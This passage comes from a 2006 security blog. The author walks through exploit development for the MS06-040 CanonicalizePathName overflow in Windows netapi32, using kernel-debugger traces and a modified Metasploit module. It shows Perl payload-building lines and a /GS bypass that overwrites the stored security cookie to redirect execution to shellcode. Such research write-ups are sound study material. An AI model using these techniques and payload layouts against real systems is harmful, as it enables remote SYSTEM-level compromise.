instruction at address 0x77bd4d36 “inc ecx”. This means that the address <span style="color: rgb(255, 0, 0);">0x02080401</span> is <span style="color: rgb(255, 0, 0);">not writeable</span>.</p> <p class="MsoNormal"><o:p> </o:p>This is the new problem when developing this exploit. 0x02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address <span style="color: rgb(51, 102, 255);">0x01590101</span> as the memory to be overwritten. </p> <span style="color: rgb(51, 204, 0);">kd> bl</span><br /><span style="color: rgb(51, 204, 0);"> 0 e 77bd4d33 0001 (0001) "j @ecx = 01590101 '';'gc'"</span><br /><br /><span style="color: rgb(51, 204, 0);">kd> g</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax</span><br /><span style="color: rgb(51, 204, 0);">kd> r</span><br /><span style="color: rgb(51, 204, 0);">eax=00e8d8eb ebx=77bd4cfe ecx=01590101 edx=00e8f4f8 esi=00000000 edi=77bd4e32</span><br /><span style="color: rgb(51, 204, 0);">eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:01590101=0000</span><br /><span style="color: rgb(51, 204, 0);">kd> u</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d36 41 inc ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d37 41 inc ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d38 42 inc edx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d39 42 inc edx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3a 6685c0 test ax,ax</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3d 75f1 jne 77bd4d30</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d36 41 inc ecx</span><br /><br />Yeah, 0x01590101 is writeable memory. Everything seems OK, it return from msvcrt!wcscpy() to <span style="color: rgb(51, 102, 255);">NETAPI32!CanonicalizePathName()</span>.<br /><br /><span style="color: rgb(51, 204, 0);">msvcrt!wcscpy+0x1b:</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d43 c3 ret</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x12c:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b7e 59 pop ecx</span><br /><span style="color: rgb(51, 204, 0);">kd> u</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x12c:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b7e 59 pop ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b7f 59 pop ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b80 33c0 xor eax,eax</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b82 8b4dfc mov ecx,dword ptr [ebp-4]</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b85 5f pop edi</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b86 5e pop esi</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b87 5b pop ebx</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b8d c9 leave</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b8e c21400 ret 14h<br /></span><br />Set of instructions are executed like I describe in the previous post, except this line:<br /><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x136:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)</span><br /><br />When this function is called, everything is disappear. The instruction “leave” at the address 0x71c44b8d is not called. As its name imply, this is the <span style="color: rgb(51, 102, 255);">stack-based buffer overflow protection</span> is Windows Server 2003 SP0. The function looks like this:<br /><br /><span style="color: rgb(51, 204, 0);">kd> u 71c414f6</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);">71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)]</span><br /><span style="color: rgb(51, 204, 0);">71c414fc 0f8593060100 jne NETAPI32!__security_check_cookie+0x9 (71c51b95)</span><br /><span style="color: rgb(51, 204, 0);">71c41502 c3 ret</span><br /><br />This function will compare ecx value with the value that stored at <span style="color: rgb(255, 0, 0);">0x71c8c1ec</span> – random cookie. The ecx value comes from the instruction at address 0x71c44b82 “mov ecx, dword ptr [ebp-4]” – the cookie that stored on the stack to cross check with the valid one. If ecx value match the valid cookie, the flow of execution will continue, if not it will jump to the address <span style="color: rgb(51, 102, 255);">0x71c51b95</span>:<br /><br /><span style="color: rgb(51, 204, 0);">NETAPI32!__security_check_cookie+0x9:</span><br /><span style="color: rgb(51, 204, 0);">71c51b95 e97d4e0000 jmp NETAPI32!__report_gsfailure (71c56a17)<br /></span><br />it jumps to function <span style="color: rgb(51, 102, 255);">NETAPI32!__report_gsfailure()</span>. End up this !!! <p class="MsoNormal"><o:p> </o:p>Now, I’m faced with<span style="color: rgb(255, 0, 0);"> /GS</span> --“. At first time I think may be I should give up at this point because there is no one can break /GS, except one that described by David Litchfield - <a href="http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf">http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf</a>. Litchfield’s technique use SEH to bypass the protection. But as I know, (may be) there is no part of our payload overwrite the handler so this technique cannot be used.</p> <p class="MsoNormal"><o:p> </o:p>But something comes into my mind. At this point I have the following condition that true:<br /></p> <ul> <li>I can write to any memory location that I want – Sure, it has to be writable memory location (1)</li> </ul> <ul> <li>I can modified the ecx value – cookie stored on stack (2)</li> </ul> <p class="MsoNormal"><o:p></o:p>Then I think if I can control both cookies on stacked and the valid cookie, I can pass the security cookie check function and execute “leave” and “ret” instruction. To control both cookies, these conditions have to be true:<o:p> </o:p><br /></p> <ul> <li>I can write to the address that store the valid cookie. This address has to be writeable and is a fixed address – for a reliable exploit (3)</li> </ul> <ul> <li>I can control ecx value (4)<o:p> </o:p></li> </ul> <p class="MsoNormal">Because the condition (2) is true, the condition (4) is also true because they are equivalent. For the condition (3), it will be true if the address that store the valid cookie, <span style="color: rgb(51, 102, 255);">0x71c8c1ec</span>, is <span style="color: rgb(255, 0, 0);">writable</span> and is a <span style="color: rgb(255, 0, 0);">fixed location</span>.<br /></p> <p class="MsoNormal"> </p> <p class="MsoNormal">After debug several times I found that this address is a fixed address inside <span style="color: rgb(51, 102, 255);">NETAPI32 dll</span>. Wow !!! my theory will become true if this address is writable. I haven’t tested but I quite sure that this memory location is writable because the cookie is generated at runtime and the process must have the write permission on it. If the process there is no write permissions, the valid cookie cannot be saved.</p> <p class="MsoNormal"><o:p></o:p>Now before we continue, I’ve rewrite the $path to make it more readable:<br /><o:p><br /></o:p><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">$shellcode = “\xcc” x length($shellcode)</span></p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">my $path = $shellcode.</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">(“\x41” x ($target->[1] – length($shellcode))).<br />(“\x49” x 52).</p> <p class="MsoNormal"><o:p style="color: rgb(51, 204, 0);"></o:p><span style="color: rgb(51, 204, 0);">(“\xec\xc1\xc8”\x71”).</span><br /><span style="color: rgb(51, 204, 0);">(“\x43” x 40).</span><br /><span style="color: rgb(51, 204, 0);">(“\x00\x00”);</span><br /><span style="color: rgb(51, 204, 0);">…</span><o:p></o:p></p> <p class="MsoNormal"><o:p></o:p>and then rerun the exploit:</p> <p class="MsoNormal"><span style="color: rgb(51, 204, 0);">kd> bp 77bd4d33 "j @ecx = 71c8c1ec '';'gc'"</span><br /><span style="color: rgb(51, 204, 0);">kd> g</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax</span><br /><span style="color: rgb(51, 204, 0);">kd> r</span><br /><span style="color: rgb(51, 204, 0);">eax=00e84242 ebx=77bd4cfe ecx=71c8c1ec edx=00e8f4f8 esi=00000000 edi=77bd4e32</span><br /><span style="color: rgb(51, 204, 0);">eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:71c8c1ec=e64e</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d36 41 inc ecx</span><br /><span style="color: rgb(51, 204, 0);">kd> dd 71c8c1ec</span><br /><span style="color: rgb(51, 204, 0);">71c8c1ec bb404242 00000000 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c1fc 00000000 000926e0 ffffffff 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c20c 00000000 00000000 00000000 71c8c218</span><br /><span style="color: rgb(51, 204, 0);">71c8c21c 71c8c218 00000000 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c22c 00000000 00000000 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c23c 00000007 00000001 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c24c 00000000 00000000 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c8c25c 00000000 00092780 ffffffff 00000000<br /></span></p> <p class="MsoNormal"> </p> <p class="MsoNormal">there is no error occur and the first 2 bytes of 0x71c8c1ec is overwrite to 0x4242 value. I let windbg run until it write all of the shellcode into 0x71c8c1ec – to see whether or not it allow to overwite memory location outside 0x71c8c1ec. I view the memory location:<br /></p> <p class="MsoNormal"><span style="color: rgb(51, 204, 0);">kd> dd 71c8c1ec</span><br /><span style="color: rgb(51, 204, 0);">71c8c1ec 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c1fc 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c20c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c21c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c22c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c23c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c24c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c25c 42424242 42424242 42424242 42424242</span><br /></p> <p class="MsoNormal"> </p> <p class="MsoNormal">Yeah !!! we can write our shellcode into the address 0x71c8c1ec - we can control the valid cookie. I let windbg run until it reach at the instruction address 0x71c44b8 – call the security cookie checking function().</p> <span style="color: rgb(51, 204, 0);">kd> r</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=000e9a70 ecx=49494949 edx=00e0f94e esi=000e7bc0 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=71c44b88 esp=00e0f4f8 ebp=00e0f910 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b88 e869c9ffff call 71c414f6<br /></span><br />Our ecx value is <span style="color: rgb(255, 0, 0);">0x49494949</span> before compare with the value at the address 0x71c8c1ec. It’s a simple work to find the offset of this – it’s the 66th bytes from that last of $path variable. I change these bytes to “\x42” and then run the exploit again:<br /><br /><span style="color: rgb(51, 204, 0);">kd> r</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00106bc0 ecx=42424242 edx=00e8f94e esi=000e3670 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=71c44b88 esp=00e8f4f8 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x136:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)</span><br /><span style="color: rgb(51, 204, 0);">kd> dd 71c8c1ec</span><br /><span style="color: rgb(51, 204, 0);">71c8c1ec 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c1fc 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c20c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c21c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c22c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c23c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c24c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">71c8c25c 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x13b:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b8d c9 leave</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!CanonicalizePathName+0x13c:</span><br /><span style="color: rgb(51, 204, 0);">001b:71c44b8e c21400 ret 14h</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">001b:49494949 ?? ???<br /></span><br />At this time ecx value is matched, the “leave” and “ret” instruction are executed. This results in the flow of execution transfer 0x49494949 – I win ^0^. Finding the offset of 0x49494949 is not the hard part. I change 0x49494949 to <span style="color: rgb(51, 102, 255);">0x71c8c1ec</span> – address of our shellcode – End Game… <p class="MsoNormal"><o:p> </o:p>P.S. I’m working on 2K3 SP1 to see whether or not this technique can be used to bring the code execution. If someone has already done this, plz share information <span style="font-family:Wingdings;"><span style="">J</span></span></p> <p class="MsoNormal"><o:p> </o:p>P.S. my blog down yesterday, so everything had to delay to this day (Sep 16, 2006)<br /></p> <p class="MsoNormal"> </p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com3tag:blogger.com,1999:blog-30260908.post-1157861672579401832006-09-10T11:04:00.000+07:002006-09-13T10:43:22.060+07:00When Kernel Crash : MS06-040 Microsoft CanonicalizePathName() Overflow<p class="MsoNormal">Last month (August 2006), one of the most interested vulnerability was disclosure, <a href="http://www.microsoft.com/technet/security/bulletin/MS06-040.mspx">MS06-040</a> <span style="COLOR: rgb(51,102,255)">Microsoft CanonicalizePathName() Overflow</span>. The vulnerability can trigged by creating the malformed packet “NetpwPathCanonicalize RPC call”. If the attacker exploits the vulnerability successful in <span style="COLOR: rgb(255,0,0)">Windows 2000 SP0 – SP4 </span>or <span style="COLOR: rgb(255,0,0)">Windows XP SP0 – SP1</span>, he will be able to completely control the system because his privilege is SYSTEM. The vulnerability cannot be exploit to execute the code on Windows XP SP2 or Windows Server 2003 SP1 due to the fact that these systems have the mechanism to prevent buffer overflow exploitation technique. However, the attacker still can launch DoS attack to Windows XP SP2 and Windows Server 2003 SP1.</p>There are three exploits have been published to attack this vulnerability – <span style="COLOR: rgb(51,102,255)">rootshell team</span>, <span style="COLOR: rgb(51,102,255)">iRP</span> and <span style="COLOR: rgb(51,102,255)">H D Moore</span> (metasploit). Of course, to avoid the implementation detailed of <span style="COLOR: rgb(255,0,0)">DEC/RPC</span> protocol and to avoid the undocumented exploit, I decide to use the metasploit version to study how to exploit the vulnerability. My target system is Windows Server 2000 SP 4 because it will reboot itself when it’s crashes – easy to notice.<br /><p class="MsoNormal">Now, Let start to crash the system ^-^. I modify the metasploit module “<span style="COLOR: rgb(51,102,255)">netapi_ms06_040.pm</span>” :</p><p class="MsoNormal"><span style="font-size:+0;"></span><span style="COLOR: rgb(51,204,0)">[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ]</span><?xml:namespace prefix = o /><o:p style="COLOR: rgb(51,204,0)"> </o:p></p><p class="MsoNormal">I change <span style="COLOR: rgb(255,0,0)">0x00020804</span> to <span style="COLOR: rgb(255,0,0)">0xAAAAAAAA</span>. The reason why I change only this value because this is the return value to the payload. If I wanna to see how to exploit it, I have to investigate from the point that system crashes. Then launch the exploit.</p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/crash.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: pointer; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/5848/3241/320/crash.jpg" border="0" /></a><br />The system crashes and has to restart and the error message inform me that the process <span style="COLOR: rgb(255,0,0)">services.exe</span> has terminated. I boot the system in <span style="COLOR: rgb(51,102,255)">debug mode</span> and attach kernel debugger to it. Now, launch the exploit again:<br /><br /><span style="COLOR: rgb(51,204,0)">Unhandled Exception hit in services.exe</span><br /><br /><span style="COLOR: rgb(51,204,0)">first, enter !exr 014BF360 for the exception record</span><br /><span style="COLOR: rgb(51,204,0)">next, enter !cxr 014BF37C for the context</span><br /><span style="COLOR: rgb(51,204,0)">then !kb to get the faulting stack</span><br /><br /><span style="COLOR: rgb(51,204,0)">Break instruction exception - code 80000003 (first chance)</span><br /><span style="COLOR: rgb(51,204,0)">*** WARNING: symbols timestamp is wrong 0x3ef274dc 0x41e648e0 for NTDLL.DLL</span><br /><span style="COLOR: rgb(51,204,0)">NTDLL!RtlpProcessWaitCompletion+0x180:</span><br /><span style="COLOR: rgb(51,204,0)">001b:77fa144b cc int 3<br /><br /></span><span style="COLOR: rgb(51,204,0)">kd> .exr 014BF360</span><br /><span style="COLOR: rgb(51,204,0)">ExceptionAddress: 78010497</span><br /><span style="COLOR: rgb(51,204,0)">ExceptionCode: c0000005 (Access violation)</span><br /><span style="COLOR: rgb(51,204,0)">ExceptionFlags: 00000000</span><br /><span style="COLOR: rgb(51,204,0)">NumberParameters: 2</span><br /><span style="COLOR: rgb(51,204,0)">Parameter[0]: 00000001</span><br /><span style="COLOR: rgb(51,204,0)">Parameter[1]: aaaaaaaa</span><br /><span style="COLOR: rgb(51,204,0)">Attempt to write to address aaaaaaaa<br /><br /></span><span style="COLOR: rgb(51,204,0)">kd> .cxr 014BF37C</span><br /><span style="COLOR: rgb(51,204,0)">eax=014b02eb ebx=00000411 ecx=aaaaaaaa edx=014bf660 esi=00000002 edi=780104a8</span><br /><span style="COLOR: rgb(51,204,0)">eip=78010497 esp=014bf648 ebp=014bfa74 iopl=0 nv up ei pl nz ac po cy</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000213</span><br /><span style="COLOR: rgb(51,204,0)">001b:78010497 668901 mov word ptr [ecx],ax ds:0023:aaaaaaaa=????<br /><br /></span>I got more information from kd. First, the system crashes because of <span style="COLOR: rgb(255,0,0)">unhandled exception</span> in <span style="COLOR: rgb(255,0,0)">services.exe</span> – attempt to write to address <span style="COLOR: rgb(255,0,0)">0xaaaaaaaa</span> – the invalid memory. Second, we can control ecx. Third, the instruction that causes the access violation is <span style="COLOR: rgb(255,0,0)">0x78010497</span> (in <span style="COLOR: rgb(51,102,255)">MSVCRT!wcscpy + 0xb</span>). I disassemble the function wcscpy() to get more picture:<br /><br /><span style="COLOR: rgb(51,204,0)">7801048c mov ecx,dword ptr [esp+4]</span><br /><span style="COLOR: rgb(51,204,0)">78010490 mov edx,dword ptr [esp+8]</span><br /><span style="COLOR: rgb(51,204,0)">78010494 mov ax,word ptr [edx]</span><br /><span style="COLOR: rgb(51,204,0)">78010497 mov word ptr [ecx], ax</span><br /><span style="COLOR: rgb(51,204,0)">7801049a inc ecx</span><br /><span style="COLOR: rgb(51,204,0)">7801049b inc ecx</span><br /><span style="COLOR: rgb(51,204,0)">7801049c inc edx</span><br /><span style="COLOR: rgb(51,204,0)">7801049d inc edx</span><br /><span style="COLOR: rgb(51,204,0)">7801049e test ax,ax </span><br /><span style="COLOR: rgb(51,204,0)">780104a1 jne MSVCRT!wcscpy+0x8 (78010494)</span><br /><span style="COLOR: rgb(51,204,0)">780104a3 mov eax,dword ptr [esp+4]</span><br /><span style="COLOR: rgb(51,204,0)">780104a7 ret</span><br /><br />There are 12 lines of code in this function – not much ^-^. The function takes 2 parameters, ecx and edx. It copy each 2 bytes pointed by edx to ecx until edx point to the value 0x0. The first parameter, ecx, is the value that we can control so we can write the value pointed by edx to any memory that we want (of course, it has to be the valid memory). But I don’t know what’s edx point to. To make it clear, I modify the exploit again:<br /><br /><span style="COLOR: rgb(51,204,0)">if ($target->[0] =~ /2000/ && ! $target->[3]) {</span><br /><br /><span style="COLOR: rgb(51,204,0)"># Pad our shellcode out with nops</span><br /><span style="COLOR: rgb(51,204,0)">$shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode;</span><br /><br />I add 2 lines of code:<br /><br /><span style="COLOR: rgb(51,204,0)">my $lengthsc = length($shellcode);</span><br /><span style="COLOR: rgb(51,204,0)">$shellcode = "\xcc" x $lengthsc;</span><br /><br />These code change every byte of the payload to <span style="COLOR: rgb(51,102,255)">“\xcc”</span>. I rerun the exploit and the system crashes. I dump the memory pointed by edx:<br /><br /><span style="COLOR: rgb(51,204,0)">0146f660 005c02eb cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f670 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f680 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f690 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f6a0 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f6b0 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f6c0 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f6d0 cccccccc cccccccc cccccccc cccccccc</span><br /><br />Wow !!! it point to the location near our payload. Could you recognize the first 2 bytes at <span style="COLOR: rgb(255,0,0)">0x0146f660</span> ? Yes, it is the instruction “<span style="COLOR: rgb(51,102,255)">jmp 0x02</span>”. This means that it will jump to our payload. I locate the bytes “<span style="COLOR: rgb(51,102,255)">eb 02</span>” in the exploit code and I found it at line:<br /><br /><span style="COLOR: rgb(51,204,0)">Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").</span><br /><br />I continue disassemble the memory pointed by edx and I can draw the layout of payload like this:<br /><br /><span style="COLOR: rgb(51,204,0)">0146f660 005c02eb cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">0146f670 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="COLOR: rgb(51,204,0)">.....</span><br /><span style="COLOR: rgb(51,204,0)">0146fa40 cccccccc cccccccc cccccccc aaaaaaaa</span><br /><span style="COLOR: rgb(51,204,0)">.....</span><br /><span style="COLOR: rgb(51,204,0)">0146fa80 aaaaaaaa aaaaaaaa aaaaaaaa 00000000</span><br /><br />After our shellcode is the series of 4 bytes “0xaaaaaaaa” which correspond the code line:<br /><br /><span style="COLOR: rgb(51,204,0)">my $path = $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";</span><br /><br />this picture in the layout of the packet captured by <span style="COLOR: rgb(51,102,255)">Ethereal</span> – yes, Ethereal not Wireshark :)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/layout.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: pointer; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/5848/3241/320/layout.jpg" border="0" /></a><br />(This made me some confuse, because our shellcode is followed by “eb 02” in the packet layout but it followed “eb 02” in the memory layout. May be it’s all about the order when the kernel copy packet into the memory.)<br /><br />Now, we can write our shellcode into any memory location, but how services.exe transfer from the point that kernel crashed to execute our shellcode. I change the exploit back to the original one and add this line:<br /><br /><span style="COLOR: rgb(51,204,0)">$shellcode = "\xcc" . $shellcode ;</span><br /><br />This will halt the debugger before the payload is executed. I also set breakpoint at 0x78010497 – the point that kernel crash – with the conditional “<span style="COLOR: rgb(51,102,255)">j @ecx = 00020804 ‘’;’gc’</span>”. The debugger will halt at the address 0x78010497 when ecx = 0x00020804. But when I run the exploit, the debugger does not halt at 0x78010497. Why ? I try to change the ecx value until found something interest. I use 0x00112233 as the ecx value:<br /><br /><span style="COLOR: rgb(51,204,0)">ExceptionAddress: 78010497</span><br /><span style="COLOR: rgb(51,204,0)">ExceptionCode: c0000005 (Access violation)</span><br /><span style="COLOR: rgb(51,204,0)">ExceptionFlags: 00000000</span><br /><span style="COLOR: rgb(51,204,0)">NumberParameters: 2</span><br /><span style="COLOR: rgb(51,204,0)">Parameter[0]: 00000001</span><br /><span style="COLOR: rgb(51,204,0)">Parameter[1]: 11223300</span><br /><span style="COLOR: rgb(51,204,0)">Attempt to write to address 11223300</span><br /><br />The ecx value is <span style="COLOR: rgb(255,0,0)">0x11223300</span>, not 0x00112233 !!? The leading byte 0x00 is ignored by Windows and the bytes 0x112233 is appended by 0x00. Now I set the new breakpoint condition “<span style="COLOR: rgb(51,102,255)">j @ecx = 02080400 ‘’;’gc’</span>”:<br /><br /><span style="COLOR: rgb(51,204,0)">kd> bp 78010497 "j @ecx = 02080400 '';'gc'"</span><br /><span style="COLOR: rgb(51,204,0)">kd> bl</span><br /><span style="COLOR: rgb(51,204,0)">0 e 78010497 0001 (0001) "j @ecx = 02080400 '';'gc'"</span><br /><br /><span style="COLOR: rgb(51,204,0)">kd> g</span><br /><span style="COLOR: rgb(51,204,0)">001b:78010497 668901 mov word ptr [ecx],ax</span><br /><span style="COLOR: rgb(51,204,0)">kd> r</span><br /><span style="COLOR: rgb(51,204,0)">eax=015a02eb ebx=00000411 ecx=02080400 edx=015af660 esi=00000002 edi=780104a8</span><br /><span style="COLOR: rgb(51,204,0)">eip=78010497 esp=015af648 ebp=015afa74 iopl=0 nv up ei ng nz na pe cy</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287</span><br /><span style="COLOR: rgb(51,204,0)">001b:78010497 668901 mov word ptr [ecx],ax ds:0023:02080400=????</span><br /><br />Yes, It stop at 0x78010497 and ecx = 02080400. At this point, I clear the old breakpoint and redefine the new breakpoint at the address <span style="COLOR: rgb(255,0,0)">0x7801049e</span> “<span style="COLOR: rgb(51,102,255)">test ax ax</span>” with the condition <span style="COLOR: rgb(51,102,255)">“j @ax=0000 ‘’:’gc’”:</span><br /><br /><span style="COLOR: rgb(51,204,0)">kd> g</span><br /><span style="COLOR: rgb(51,204,0)">001b:7801049e 6685c0 test ax,ax</span><br /><span style="COLOR: rgb(51,204,0)">kd> r</span><br /><span style="COLOR: rgb(51,204,0)">eax=015a0000 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8</span><br /><span style="COLOR: rgb(51,204,0)">eip=7801049e esp=015af648 ebp=015afa74 iopl=0 nv up ei pl nz na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206</span><br /><span style="COLOR: rgb(51,204,0)">001b:7801049e 6685c0 test ax,ax</span><br /><span style="COLOR: rgb(51,204,0)">......</span><br /><span style="COLOR: rgb(51,204,0)">kd> r</span><br /><span style="COLOR: rgb(51,204,0)">eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8</span><br /><span style="COLOR: rgb(51,204,0)">eip=780104a7 esp=015af648 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="COLOR: rgb(51,204,0)">001b:780104a7 c3 ret</span><br /><br />The debugger break at the address 0x7801049e because ax = 0x0000 and it will not jump to 0x78010494. The kernel execute until “<span style="COLOR: rgb(51,102,255)">ret</span>” instruction at <span style="COLOR: rgb(255,0,0)">0x780104a7</span>. This is the context after the “ret” instruction.<br /><br /><span style="COLOR: rgb(51,204,0)">eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8</span><br /><span style="COLOR: rgb(51,204,0)">eip=75175378 esp=015af64c ebp=015afa74 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="COLOR: rgb(51,204,0)">001b:75175378 59 pop ecx</span><br /><br />The flow of execution transfer to <span style="COLOR: rgb(255,0,0)">0x75175378</span> - <span style="COLOR: 